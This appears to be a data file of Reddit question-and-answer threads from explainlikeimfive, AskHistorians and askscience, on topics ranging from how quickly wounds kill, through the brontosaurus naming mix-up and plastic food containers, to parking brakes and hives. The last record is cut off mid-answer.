{"q_id": "1spoqb", "title": "as opposed to movies, how long does a lethal gun or knife wound take to kill?", "selftext": "I'm not trying to be morbid, but it's slightly annoying how movies portray any sort of torso wound to cause someone to fall to the ground and instantly die with nothing more than a slight \"Argh.\"  I'm pretty sure that even chest wounds take a bit to kill, although shock might kick in faster?  \nWithout being overly graphic or morbid, can someone explain what happens when a fatal wound occurs?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1spoqb/eli5_as_opposed_to_movies_how_long_does_a_lethal/", "answers": {"a_id": ["cdzxz06", "cdzzyc9", "cdzzzx0", "ce01zo9"], "score": [47, 6, 19, 4], "text": ["Even when shot or stabbed in the heart a person will quite often remain on their feet for some time.  Sometime here means seconds and not minutes or hours.  This is quite often enough time for them to fight back and even kill their attacker (this is why cops will shoot you until they run out of bullets).  Even after collapse it will take time for the person to bleed out enough to deprive the brain of oxygen.  This means that you will not fall over totally dead within seconds of being shot in the torso.  \n\nIf it's not a hit to the heart it can take a lot longer to die.  The ol' getting shot or stabbed in the stomach and dying within seconds is pretty much total bullshit.  Historically gut wounds were seen as the worst because they took so long to die from and were very painful. Think of the soldier in the opening scenes of Saving Private Ryan who is laying on the beach screaming for his mother after he's been disemboweled.  That's more like it.\n\nThe only time you're going to instantly collapse is when the central nervous system is hit.  In a torso hit that means the spinal cord.  \n\nIn fact, if you read a look of accounts of war, or watch docos, you'll come across stories from soldiers where they were shot, sometimes multiple times, in the torso and didn't even realise for a while.  ", "There is some decent information here, if interested in learning more, OP may like _URL_0_\n\n", "First person I shot took a direct hit to heart with a 45 and one to the spine just to the left of the heart (facing me).  It took him almost 10 minutes.  The second was to the head and that was instant.  Alot of police officers in my area use 9mm which is even worse.  We had a guy in the mid 90s that got unloaded on (was on ALOT of drugs) and was still walking around till one of our SWAT guys clocked him with a shotgun.  Outside of a direct head shot or a chest shot with 50 cal etc you can last 10 minutes easily.  Friend got shot 8 times and now has a patched heart, missing his left lung and part of his liver. He is also missing alot of his intestines now.", "I saw that video of the politician who offs himself live during a press conference.\n\nEven though he puts the gun in his mouth and shoots the top of his head off, he clearly takes 6 or 7 seconds to die from the blood loss. You can tell he's still conscious.\n\nSo that whole thing about a little bullet to the head killing you before you hit the ground is bullshit.\n\nUnless, of course, you're talking .50 caliber which will obliterate your skull."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.theboxotruth.com/docs/edu106.htm"], [], []]}
{"q_id": "1b8f0w", "title": "Given the situation we're in, any historical precedent for a major redistribution of wealth downwards achieved by peaceful means? Other than the raising of the working class via processes such as the Industrial Revolution, I guess...", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1b8f0w/given_the_situation_were_in_any_historical/", "answers": {"a_id": ["c94kwl0", "c94mq3u"], "score": [2, 2], "text": ["What do you mean by peaceful means? That the distribution itself happened by peaceful means? Or that the regime that came into power got there by peaceful means? Or both? \n\nAlso, the lower classes weren't really better off because of the Industrial Revolution. Quite the opposite, really. ", "According to _URL_0_ the lives of the peasantry after the Black Death were arguably the best relative to the wealthy classes in history. Essentially there was an excess of infrastructure because everything had been built to accommodate more people and the lack of laborers meant that high wages and better terms of service in general were common."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Terry_Jones'_Medieval_Lives"]]}
{"q_id": "4s8de8", "title": "the differences between frozen yogurt, frozen custard, ice cream, and gelato", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4s8de8/eli5_the_differences_between_frozen_yogurt_frozen/", "answers": {"a_id": ["d57bxuk", "d57c9yi"], "score": [2, 6], "text": ["Frozen yogurt, frozen custard, and ice cream are pretty self-explanatory. Ice cream is made from a cream base, frozen yogurt is made from a yogurt base (as such, it is generally more tart than normal ice cream), and frozen custard is made from a custard base (i.e. it has egg yolks in it, which makes it creamier than normal ice cream).\n\nGelato is an Italian version of ice cream that has less fat but more sugar, and also has less air mixed into it which gives it a richer and denser consistency.", "Ice cream is made with cream, milk, sugar, and flavoring (like vanilla or chocolate), sometimes with other ingredients such as eggs. It is churned while it freezes, which mixes air bubbles into it.\n\nGelato is an Italian style of ice cream, made with more sugar and less cream. It has less air in it than most ice cream.\n\nFrozen yogurt is made with yogurt, which is milk that has been fermented by certain bacteria. It usually doesn't have cream, which makes it less fatty; so it is sometimes thought of as a healthier option (although it still has a lot of sugar).\n\nFrozen custard is like ice cream, but made with more egg. (For sanitation, any ice cream mix that is made with egg should be cooked before it is frozen.)\n\nSorbet is made with water, sugar, and flavoring, usually fruit juice; it has no milk products in it.\n\nSherbet (in the American use) is in-between sorbet and ice cream: it is made with some milk, but not a lot of cream, and is often made with fruit flavors."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "17i8v9", "title": "[Historic AskReddit] What Union military activity was going on in San Fran in 1898?", "selftext": "Working on a family album project, scanning photos from my family's collection. I came across [this picture](_URL_0_) taken at Johnson Photographers on 31 3rd St. in San Francisco. The caption on the back says June 13 1898 J.L. Harris. Harris is not a family name. And, nobody is familiar. So, here's my AskHistorians:\n*What military activity, if any, was going on in Cali around 1898? *What bases or installments were there at that time? *(long shot) Who is J.L. Harris?\n\nI posted this to r/AskReddit earlier and they suggested I stop here. One helpful redditor suggested it might have been a part of the deployments from the Presidio. \n\nIf there's a better subredit, my apologies. I'm still cutting my redditor teeth. Any basic information on the military activity will give me something to research as I go.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/17i8v9/historic_askreddit_what_union_military_activity/", "answers": {"a_id": ["c85qwsq", "c85rv99", "c85t2js"], "score": [5, 2, 7], "text": ["During the civil war the federal government was too busy to send troops or money to the west. Remember that the great plains were still wild and inhabited by \"Hostile Indians\" (put in quotes because I can't comment on the actual nature of the tribes that's just how the American gov't and people seen them). So California picked up a lot of slack by sending a lot of men to posts throughout the west. Washington was pulling everything it had to the east and the war. So the Federal government tasked Cali with populating western forts and posts and maintaining western order. Also a large amount of gold came out of San Fran along with other supplies that were sent east. Also California was the main reason the confederacy was kept out of New Mexico. San Fran was a major trade city with the rest of the nation and a major center of governance for the west for a long time.\n\nThere was actually a lot of internal turmoil in Cali. The southern region which was lightly populated wanted to join the confederates and tried 3 times.\n\nEdit this note: No idea on who J.L.Harris is. I will try to do some research.", "This is certainly the right place for questions about history! But I'm not sure what \"[Historic AskReddit]\" is supposed to mean?", "I believe he was a soldier in the [Spanish American War](_URL_0_). The time period fits, and volunteers were raised in California. The uniform also fits [this one](_URL_1_). In the [muster roles](_URL_2_) of the California troops I found a Private John Harris in the 8th California Company 8 from Grass Valley, California. If this was in deed him, that would mean this photo was taken before he actually joined the military. This is a possibility, as I know in the Civil War photographers would often have weapons and other props for soldiers to pose with. If he was indeed in the 8th he would have been mustered in 6-9 July 1898 at Fruitvale, California, mustered out 6 February 1899 in California and Washington, never having actually left the United States. Other options with different first/middle names would be:\n\n* Private Charles W. Harris 7th Company D from Pomona \n* Private Myler L. Harris 7th Company M from Riverside\n* Private Herman J. Harris 8th Company D from San Rafael \n* Private William J. Harris 8th California Company H from Redding \n\nThe 7th California was mustered in May 9, 1898 at San Francisco and was mustered out December 2, 1898 at Los Angeles. It did not leave the United States. None of these men died in service. \n\nHope that helps!\n\nSources:\n[California's Volunteer Forces during the Spanish-American War](_URL_3_)"]}, "title_urls": [], "selftext_urls": ["http://www.flickr.com/photos/woodysworldtv/3083245745/in/set-72157610636479149"], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Spanish%E2%80%93American_War", "http://blog.nebraskahistory.org/?p=1715", "http://archive.org/details/calivolsspanisham00spamrich", "http://www.militarymuseum.org/spam.html"]]}
{"q_id": "40n1wo", "title": "back when battles were fought with swords, how was it possible for soldiers to survive many battles? wouldn't the odds of dying in battle be really high, increasing with every battle? wasn't surviving one just luck?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/40n1wo/eli5_back_when_battles_were_fought_with_swords/", "answers": {"a_id": ["cyvgvhc", "cyvic5u", "cyvphu7"], "score": [2, 5, 15], "text": ["Up until about 1200-1300, swords were fairly expensive to make. So those who used swords in battle tended to be from well-to-do families. And among the nobility and well-to-do families, there was an understanding that if possible, the opponent would be incapacitated or captured alive and their family would then pay a rather rich ransom for them to be returned.", "For most of history (with the exception of the Romans), the rank and file carried a spear or other polearm.  Swords were expensive.\n\nThat being said, the casualties sustained in the main fight in Greek and Roman times were surprisingly light.  A victorious army might lose 5-10% or less.  The bulk of the casualties were sustained when one side broke and ran.  Then the fleeing soldiers would be chased down (particularly by the cavalry) and killed.  So, as long as your army continued to win, you have a very good chance of continuing to survive.  \n\nCaesar's men fought for several years in Gaul, and then continued to serve with him in the civil war that followed, and some later joined Augustus after that.  It was certainly possible to serve a long career with multiple battles and still survive.", "As a former modern-day combat medic I sort of have the opposite perspective.\n\nIt is surprisingly difficult to kill a person with a hand-held weapon, especially if vital organs in the torso are protected by armor. Obviously it is far from impossible, countless dead can attest to that, but as opposed to what it looks like in Hollywood movies, people don't just keel over and die if poked. Unless they get infected (and in medieval times a lot would be) many sword/axe/spear/whathaveyou -wounds are very recoverable even without modern medicine. And *with* modern medicine, essentially anything that doesn't destroy your brain or make you bleed out before help comes can be fixed or at least survived.\n\nNow, a modern bullet traveling at supersonic speed on the other hand just fucks up whatever it hits. There are no flesh wounds from machine guns -the shock wave alone rips your cells apart and makes the tissue die and start rotting on your body. (Not to mention all the crap a bullet sucks into a wound.) Without modern surgery you are dead in a majority of cases.\n\n\nSo how does soldiers survive multiple battles today? I guess in much the same ways as back then. So,without much further ado, here are three helpful hints to survive any battle between 40000BC and 2016AD:\n\n* 1) Do not be on the losing side. This is important. Losers often break and run, and as they do they cease to protect each other, letting their enemies kill with impunity. That is when the main killing goes on.  Even those lucky enough to survive a surrender can get executed or starved as prisoners.\n\n* 2) Be afraid, but do your job. War stories are about the heroes, but there is a reason they are remembered: They are rare. Most foot soldiers hang back and stay in protective formation and just want to *not die*. Today they stay in cover and toss shitloads of  suppressive fire against whatever direction the enemy is shooting from.  Back then they kept their shield wall up but didn't really want to get in range of serious harm any more than the grunts on the other side did. Then the highly motivated and/or crazy guys can do the serious fighting and decide who won. As for why doing your job and *don't run* is your best shot even if everything you care about is staying alive, see (1) above.\n\n* 3) Be lucky. And alert. However badass and skilled you think you are, combat is unpredictable and chaotic. Be as aware as you can, and remember that shit always happens. This was hard enough back then, but at least it is easier to see a bunch of guys with axes or even a troop of archers within bowshot than it is to see a sniper, or an artillery position, or a drone, or a supersonic missile, or an IED, or even a random dude with an AK that can still kill you without you ever seeing it coming. At the worst you could at least hope hope to outrun the dude with the spear. The AK round will catch up. In short, you need more luck today. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "n53b5", "title": "what's the deal with the brontosaurus?", "selftext": "What happened to this dude?  Why did his classification exist and then not exist?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/n53b5/eli5_whats_the_deal_with_the_brontosaurus/", "answers": {"a_id": ["c36ay1d", "c36b8iv", "c36blzz", "c36cbj5", "c36ckpo", "c36cwuc", "c36di7i", "c36et7x", "c36h0t1", "c36ay1d", "c36b8iv", "c36blzz", "c36cbj5", "c36ckpo", "c36cwuc", "c36di7i", "c36et7x", "c36h0t1"], "score": [32, 152, 11, 3, 10, 7, 6, 2, 2, 32, 152, 11, 3, 10, 7, 6, 2, 2], "text": ["He's actually an Apatosaurus.  Some paleontologist discovered the Apatosaurus, and a few years later, the Brontosaurus.  A few years after that, the same guy was like, \"Oops, these are the same thing!\" and because of the way we name species, the first name for any given thing always takes precedence if something is accidentally named twice, so Apatosaurus stayed the official name even though Brontosaurus was much more colloquially used.", "It's very, very rare to find complete, intact dinosaur skeletons. Here's one example, [the famous Archaeopteryx skeleton](_URL_1_).\n\nMost of the time you find incomplete skeletons with all the bones jumbled up, or just scattered individual fossil bones.\n\nWithout a complete skeleton that's still got everything in place, you look at all the individual bones found at a given site and try to figure out which ones are from the same animal and how they fit together. \n\nThis process used to be very difficult-- we've gotten better at it over time, mostly because we've found more intact skeletons to use as models, and partly because we now have better technological tools to help analyze and sort fossils.\n\nThe brontosaurus controversy came about because a pair of 19th century paleontologists were racing to see who could classify the most dinosaur species, and one of them got sloppy. [Othniel Charles Marsh](_URL_3_) put together a skeleton from a bunch of [sauropod](_URL_2_) bones and called the new species *brontosaurus*. Later, it turned out that the bones Marsh used to build his brontosaurus skeleton came from an already-recognized species, the Apatosaurus, and perhaps  a few from other sauropods. That fossil race is called [the Bone Wars;](_URL_0_) it's a fascinating chapter in the history of science and Wikipedia doesn't do it justice. \n\nEdit: Fixed link, spelling.", "Brontosaurus was a mix up where they put a Camarasaurus skull on an Apatasaurus body.", "*Hey mighty Brontosaurus,*\n\n*Don't you have a lesson for us?*\n\n*Thought your rule would always last,*\n\n*There were no lessons in your past.*\n\n*You were built three stories high,*\n\n*They say you would not hurt a fly.*\n\n*If we explode the atom bomb,*\n\n*Would you say that we are dumb? We're*\n\n*Walking in your footsteps ...*", "I don't know, Jerry Seinfeld.  You tell me.", "TIL someone is fucking with my childhood. ", "Like the Triceratops and Pluto, it has been redefined out of existence.", "[_URL_0_ phenom-dino page 2](http://_URL_0_/phenom-dino-200805.html?c=y & page=2)\n\n >  Most people know Apatosaurus as Brontosaurus because of a mistake made by Marsh. In 1879, two years after he named the first Apatosaurus, one of his workers discovered a more complete specimen in Wyoming. Marsh mistook it to be a new animal and named it Brontosaurus. Though the error was soon discovered, scientific nomenclature required keeping the first name. But in the meantime the \"Brontosaurus\" misnomer had made its way into popular culture.\n", "Here's one of the [leading theories](_URL_0_).", "He's actually an Apatosaurus.  Some paleontologist discovered the Apatosaurus, and a few years later, the Brontosaurus.  A few years after that, the same guy was like, \"Oops, these are the same thing!\" and because of the way we name species, the first name for any given thing always takes precedence if something is accidentally named twice, so Apatosaurus stayed the official name even though Brontosaurus was much more colloquially used.", "It's very, very rare to find complete, intact dinosaur skeletons. Here's one example, [the famous Archaeopteryx skeleton](_URL_1_).\n\nMost of the time you find incomplete skeletons with all the bones jumbled up, or just scattered individual fossil bones.\n\nWithout a complete skeleton that's still got everything in place, you look at all the individual bones found at a given site and try to figure out which ones are from the same animal and how they fit together. \n\nThis process used to be very difficult-- we've gotten better at it over time, mostly because we've found more intact skeletons to use as models, and partly because we now have better technological tools to help analyze and sort fossils.\n\nThe brontosaurus controversy came about because a pair of 19th century paleontologists were racing to see who could classify the most dinosaur species, and one of them got sloppy. [Othniel Charles Marsh](_URL_3_) put together a skeleton from a bunch of [sauropod](_URL_2_) bones and called the new species *brontosaurus*. Later, it turned out that the bones Marsh used to build his brontosaurus skeleton came from an already-recognized species, the Apatosaurus, and perhaps  a few from other sauropods. That fossil race is called [the Bone Wars;](_URL_0_) it's a fascinating chapter in the history of science and Wikipedia doesn't do it justice. \n\nEdit: Fixed link, spelling.", "Brontosaurus was a mix up where they put a Camarasaurus skull on an Apatasaurus body.", "*Hey mighty Brontosaurus,*\n\n*Don't you have a lesson for us?*\n\n*Thought your rule would always last,*\n\n*There were no lessons in your past.*\n\n*You were built three stories high,*\n\n*They say you would not hurt a fly.*\n\n*If we explode the atom bomb,*\n\n*Would you say that we are dumb? We're*\n\n*Walking in your footsteps ...*", "I don't know, Jerry Seinfeld.  You tell me.", "TIL someone is fucking with my childhood. ", "Like the Triceratops and Pluto, it has been redefined out of existence.", "[_URL_0_ phenom-dino page 2](http://_URL_0_/phenom-dino-200805.html?c=y & page=2)\n\n >  Most people know Apatosaurus as Brontosaurus because of a mistake made by Marsh. In 1879, two years after he named the first Apatosaurus, one of his workers discovered a more complete specimen in Wyoming. Marsh mistook it to be a new animal and named it Brontosaurus. Though the error was soon discovered, scientific nomenclature required keeping the first name. But in the meantime the \"Brontosaurus\" misnomer had made its way into popular culture.\n", "Here's one of the [leading theories](_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Bone_Wars", "http://en.wikipedia.org/wiki/File:Archaeopteryx_lithographica_%28Berlin_specimen%29.jpg", "http://en.wikipedia.org/wiki/Sauropoda", "http://en.wikipedia.org/wiki/Othniel_Charles_Marsh"], [], [], [], [], [], ["www.smithsonianmag.com/history-archaeology", "http://www.smithsonianmag.com/history-archaeology/phenom-dino-200805.html?c=y&amp;page=2"], ["http://www.youtube.com/watch?v=cAYDiPizDIs"], [], ["http://en.wikipedia.org/wiki/Bone_Wars", "http://en.wikipedia.org/wiki/File:Archaeopteryx_lithographica_%28Berlin_specimen%29.jpg", "http://en.wikipedia.org/wiki/Sauropoda", "http://en.wikipedia.org/wiki/Othniel_Charles_Marsh"], [], [], [], [], [], ["www.smithsonianmag.com/history-archaeology", "http://www.smithsonianmag.com/history-archaeology/phenom-dino-200805.html?c=y&amp;page=2"], ["http://www.youtube.com/watch?v=cAYDiPizDIs"]]}
{"q_id": "oh3gs", "title": "the movie mr. nobody", "selftext": "Watched last night with my girlfriend. What the hell, seriously?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/oh3gs/eli5_the_movie_mr_nobody/", "answers": {"a_id": ["c3h96g6"], "score": [4], "text": ["I think mainly the movie was about relativity and choice, the final question being: *If you knew every possible outcome of every possible choice in life, which path would you then choose to live?* the answer being: *None!* because life would never as awesome as you'd want it to be, you just have to live it. And if you never chose any of your given opportunities, you would then cease to exist. Very abstract but cleverly done. \n\nThen there was a hella lot of imagery. Each of the girls, for example, represented a lifestyle and a choice. Also the point of letting the train station be the scene of the ultimate choice between mother and father was magnificently obvious. His whole life was a series of train tracks and \"left and right\" decisions. \n\nI personally loved the movie but I had to let it sink for a couple of hours afterwards. But then again I just love French movies in general so I wasn't disappointed with this one. \n\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1k77lq", "title": "Do plastic food containers go bad over time?", "selftext": "~~I'm asking because I discovered that one of my white lunch boxes had a light grey discolouring all over it when I took it out from the dishwasher. It went away when I washed it by hand. Next time I took it out of the machine it had the light grey powdery stuff over it again. Not noticed this with any other stuff, plastic or otherwise, except for the odd garlic press of some unknown metallic alloy ages ago. Made me think that maybe food containers should be replaced every few years or so, or is this just an isolated event? I've got more identical boxes bought at the same time and they show nothing except the usual wear and tear.~~\n\nEdit: I don't think anybody else who reads /r/Askscience is particularly interested in my old lunchbox, so please ignore the distracting anecdote (bad presentation of my question, sorry about that) and see this post as the question below: \n\n**\"Do plastic food containers go bad over time (due to plastics ageing or chemical reactions with foodstuff, microwave, dishwasher etc.)? If so, does this eventually contaminate the food in the box and how often should lunch boxes or other plastic food containers be replaced?\"**", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1k77lq/do_plastic_food_containers_go_bad_over_time/", "answers": {"a_id": ["cbm5aa7", "cbm5dfi", "cbm8c6r", "cbm9h9y"], "score": [12, 3, 2, 28], "text": ["Some of the plastics cannot be washed in dishwasher.\n\nCheck the package. ", "Are you sure its not just soap that didn't get properly washed off in the dishwasher?", "Interesting. I would like to do lab tests, but I don't have a polymers background. I do think that the manufacturers have done the tests. Send them an e-mail. See what happens.\n\nEdit - if they haven't done the tests, switch vendors.\n", "That stuff leeching out of your lunchbox is a type of plasticizer. You'll notice that the box will get more brittle with age as it loses plasticizer.\n\nShort answer is yes, plastic containers have a finite safe use window. My guess is that your lunchbox is old and cheaply made from PCV or a polyolefin like propylene. Newer tupperware and similar translucent products are made out of specially formulated polyethylene for better heat resistance, cold temperature impact, and low extractables (so nothing gets in your food). These products have been tested and retested by the FDA, but they will eventually fail, depending on heat, chemical, and UV exposure.\n\nThe fact is that no one is willing to pay big money for truly long-lasting plastic food containers. Using a resin like polysulfone or TPU would mean a much stronger product capable of withstanding multiple autoclave cycles, ie your dishwasher,  but at 10x the cost. As someone who works in the plastics industry, my advice is to handwash the containers and replace them every couple of years."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "arxv3g", "title": ". i've seen people say if the popular vote was used to determine the president only california and new york would elect who wins. but why?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/arxv3g/eli5_ive_seen_people_say_if_the_popular_vote_was/", "answers": {"a_id": ["egqbn0j", "egqc8hm", "egqc8l7"], "score": [15, 4, 11], "text": ["Because California is the most popolous State, and New York one of the most populous states \n\nCalifornia has 39.45 million inhabitants and New York (state) has 19.85. That's almost 20% of the entire population in just 4% of states\n\nEdit: However this is wrong. If the popular vote was counted **every** single vote would be valuable. In the current system, because California is almost certainly a blue state every election, which means every single red vote in blue district is a wasted vote that is not counted and vice versa. Just like every blue vote that exceeds 51% of total votes is wasted in blue wining states. In the current system so many votes are wasted, scrapping the electoral collage and election districts would mean every single vote is counted.\n\n3 million people more voted for hillary than trump. That's more than 2% of voters, and regardless of your political affiliation, a system where the winner of an election can lose by a non marginal amount 3 million and still win the election, is a broken and stupid system. ", "These states are highly polarized, so the difference between the votes the Democrat gets and the votes the Republican gets are very large here.  Sure, there are other polarized places, like Maryland, Wyoming, and the non-state of DC, but those places have tiny populations.\n\nThe Founders thoughtfully considered a popular vote for President, but they went with the Electoral college to prevent activism in a couple of states from biasing the Presidency.  The US system is about 80% weighted to popular vote and 20% weighted to nationwide consensus.  This is not dramatically different from a popular vote, unless the race is too tight.  The Founders solution to this would probably have been to not run a bad candidate (a crime both major parties were guilty of in the last election).", "It's a gross exaggeration on their population.\n\nCalifornia has the highest population by state @ 39million, which is over twice the population on NY (19mill), so it's the 600lb hairy ass gorilla that's sitting in the kitchen, eating your GoGurt. For scale, if the state voted the same as a whole it would be ~12% of the entire US's population.\n\nNY's the oddity, and I can only assume it's in reference to NYC's population, which is the highest for any city in the country. However, NY State as a whole is pretty rural, so outside NYC you get little boosts to the state's population, unlike Texas (the second highest state population) which has Houston, San Antonio, Austin, Dallas, Fort Worth etc.\n\nIn short, they wouldn't. The only reference I found to that claim were a few zealous right wing news outlets. That also may be why Cali  &  NY were listed as they tend to have Democratic party leanings when it comes to federal elections."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3bfxcf", "title": "why does https work on reddit only sometimes?", "selftext": "I have httpseverywhere installed and on reddit sometimes the homepage will work on https and other times it won't...sometimes the comments section will work with https sometimes it won't. Right now posting this it is using https but seconds ago the https wouldnt work over at reddit's main page WHY!?!?!?!?\nedit: oh shit i forgot to write ELI5: in the title OH NOOOOOOOOOO", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3bfxcf/eli5_why_does_https_work_on_reddit_only_sometimes/", "answers": {"a_id": ["cslrjn4"], "score": [2], "text": ["They are moving to all https, but I understand the rollout hasn't completed yet. When you do a DNS request for _URL_0_ you may not always get the same IP address back, and a server that has yet to be completed. I would whitelist _URL_0_ for the time being.\\ in httpseverywhere.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["reddit.com"]]}
{"q_id": "sptzn", "title": "Is suspended animation for humans conceivably possible?", "selftext": "There are numerous examples in sci-fi of suspension chambers being used for long term space travel (Alien, 2001, etc). Is this even in the realm of remote possibility in the future? If so, what advances must we make to achieve it?\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/sptzn/is_suspended_animation_for_humans_conceivably/", "answers": {"a_id": ["c4fy9kd", "c4fzde4", "c4fzhdw"], "score": [3, 3, 7], "text": ["Thank you for asking. All hail TED.\n_URL_0_", "There are [people in suspension right now](_URL_3_). Putting someone into a suspended state is well within the technologies of the 1930s or later - you either vitrify them or plastinate them. See, for example:\n\n_URL_1_\n\n_URL_2_\n\n_URL_5_\n\nThe question is how you restore someone suspended in this fashion. That would probably require mature molecular nanotechnologies, but the nature of the problem is well described: what has to be done is defined, but clearly beyond the capabilities of what can be built today.\n\nAn an example of the sort of tool needed, see the [chromallocyte](_URL_0_) proposal: a DNA repairing nanorobot, which like all of the Freitas designs is proposed on the basis of a lot of simulation and physics and chemistry work. You might look over his website:\n\n_URL_4_", "Conceivably, but has not been successfully completed yet. [This guy](_URL_0_) is working on it for the Army though. He's completed tests with rats, dogs and monkeys. \n\nHe uses sulfur gas to suspend a patient, which should stop internal damage from spreading and binds with the patient's blood instead of the O2. This, hopefully, would allow time for someone who was injured on the battlefield to be transported to a medical facility. However, with his method you could not use it for long term transport because his test show that their is brain damage after several hours of suspension. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ted.com/talks/mark_roth_suspended_animation.html"], ["http://www.google.com/#q=chromallocyte", "http://www.alcor.org/Library/html/vitrification.html", "http://www.benbest.com/cryonics/vitrify.html", "http://alcor.org/", "http://rfreitas.com/", "http://www.fightaging.org/archives/2009/04/plastinate-everyone.php"], ["http://articles.cnn.com/2009-10-09/health/cheating.death.suspended.animation_1_oxygen-levels-cell-death-hydrogen-sulfide?_s=PM:HEALTH"]]}
{"q_id": "3sxoat", "title": "Is it true that the Imperial Japaneese Navys armour war made out of inferior steel?", "selftext": "I read somewhere on the internet while reading an article about Yamatos sistership being used for target practice for the Iowa class 16inch.\n\nI cannot remember where i saw it but i believe that the impurities of the steel made it only 85% effective compared to US Navys battleplate.\n\nEdit: I found where i read it before, does anyone has more information about this.\n\n_URL_0_", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3sxoat/is_it_true_that_the_imperial_japaneese_navys/", "answers": {"a_id": ["cx19bos"], "score": [3], "text": ["Japanese steel was quite poor both qualitatively and quantitatively, but none of the Yamato class battleships ever encountered a US battleship, let alone the Iowa-class battleships.  "]}, "title_urls": [], "selftext_urls": ["http://pwencycl.kgbudge.com/A/r/Armor.htm"], "answers_urls": [[]]}
{"q_id": "2o3pd3", "title": "why do cars allow you to drive with the e-brake on? isn't that just faulty design?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2o3pd3/eli5_why_do_cars_allow_you_to_drive_with_the/", "answers": {"a_id": ["cmjfbq9", "cmjisjd", "cmjtvtl"], "score": [15, 3, 3], "text": ["The E-brake is intentionally designed to be separate from the primary braking system. If there is a fault in the primary brakes (pedal damaged, etc), it would affect the E-brake if they were connected. \n\nThat being said, the proper response is to shift to neutral (preventing the car from further accelerating and allowing friction to slow the car's existing motion) prior to or while using the E-brake. ", "\"I rent a lot of cars, but I don't always know everything about them. So a lot of times, I drive for like ten miles with the emergency brake on. That doesn't say a lot for me, but it really doesn't say a lot for the emergency brake. It's really not an emergency brake; it's an emergency \"make the car smell funny\" lever.\" - Mitch Hedberg", "For starters, its not an \"emergency brake\", it is a park brake. Its primary objective is to hold the vehicle in place when parked. There are federal guidelines for park brake development and testing where the park brake must hold a vehicle on a 20% incline with less than 400N of input force from the driver.  \nTo answer the OP's question, driving with the park brake still engaged is purely operator error and developing a system to avoid this would change the fact that the park brake is a safety item. You can't change that fact. Hence why the bright red \"park brake engaged\" lamp in the instrument panel exists.  \nSource: Am park brake engineer."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "a0rufd", "title": "what are hives? (the skin condition)", "selftext": "What in the body causes them, what are they made of, and how do they help keep the body safe?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a0rufd/eli5_what_are_hives_the_skin_condition/", "answers": {"a_id": ["eak1gm6", "eak2fo9", "eak2kyf", "eak2wrc"], "score": [171, 31, 14, 2], "text": ["Hives (the technical term is Urticaria) have a number of causes but are mostly caused when something that your body doesn't like meats a special white blood cell called mast cell. This thing could be a protein from a peanut or a bit of medicine which your body should be ok with but for some reason isnt. We call this an 'allergen'.\n\nWhen the allergen meets the mast cell it 'activates' it and the cell bursts causing a substance called histamine to pour into your blood stream.\n\nHistamine is large quantities is very bad for your body. It causes the walls of the blood vessels to open up and allows fluid to move from the blood into the space around your cells.\n\nIn the skin all this leaky fluid can cause swelling, itching and redness (called inflammation) - which is what yoy see as hives. If there is enough histamine this can also cause swelling around the throat and vocal cords so the person cant't breathe and a lot of leaking can leave too little blood where the blood is supposed to be. This causes life threateningly low blood pressure.\n\nThats allergic hives but some people can have a hives when only the skin reacts and releases histamine. This can be caused by plants - poisen ivy is a good example - or insect bites and stings or by normal things like sweating, hot or cold temperatures and stress but essentially it's all the body interpreting something harmless and something harmfull.  So essentially hives are your body overreacting to something.\n\nIn terms of how they keep your body safe, they do make you remove yourself from something your body thinks is a harmful - eg plants, insect bites, but in the modern day they are mostly an unhelpful nuisence. ", "It\u2019s when my white blood cells are fucking stupid and release chemicals that cause redness and inflammation cause they think the body is under attack when I eat fucking peanuts. Dumbasses", "I had hives at a certain point in my life. I researched them and discovered that the causes are not fully known and you can see a doctor about them but chances are they\u2019ll be gone by the time you get into the doctors office. And that was the case for me, I couldn\u2019t ever get to a doctor before they\u2019d go away. I had them so bad that my face would literally look like Homer Simpson when they\u2019d show up around my mouth. Luckily it was at a time where I could miss work so it was honestly quite funny, at least according to my wife.\n\nThey went away for good (9 years now) once I separated myself from a very bad and stressful work situation.", "Hives is usually seen on the skin as itchy, red, raised patches on the skin. This is caused by the chemical histamine which is produced by our basophils(blood cells) and mast cells(tissue cells) when they meet things like gluten, nuts, eggs, latex etc. When the human body is exposed to huge amounts of these foreign things, massive amounts of histamines is formed, causing this visible skin patches. Unfortunately some people are more sensitive to these kinds of allergic reactions that is why they need anti-histamine medications. They help the keep our body safe by warning us that we are eating foods 